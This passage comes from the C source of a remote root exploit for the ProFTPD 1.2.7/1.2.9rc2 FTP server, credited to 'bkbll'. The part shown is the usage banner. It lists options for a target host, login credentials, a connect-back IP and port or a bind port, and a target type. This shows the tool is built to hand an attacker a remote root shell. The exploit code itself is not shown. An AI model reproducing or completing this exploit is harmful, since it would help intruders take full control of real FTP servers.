printf("@---------------------------------------------------------@\n");
    printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s  #\n",VER);
    printf("@    by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com      @\n");
    printf("-----------------------------------------------------------\n");
    printf("Usage:%s -d <host> -u <user> -p <pass> -t <type>\n",s);
    printf("      %s -l <local ip> -h <cbip> -o <cbport>\n",p);
    printf("Arguments:\n");
    printf("      -d target host ip/name\n");
    printf("      -u user name\n");
    printf("      -p user paasword\n");
    printf("      -l the ip of this machine u used\n");
    printf("      -h connect back ip\n");
    printf("      -o connect back port/bind port\n");
    printf("      -t target type [default:%d]\n",type);
    printf("      ------------------------------\n");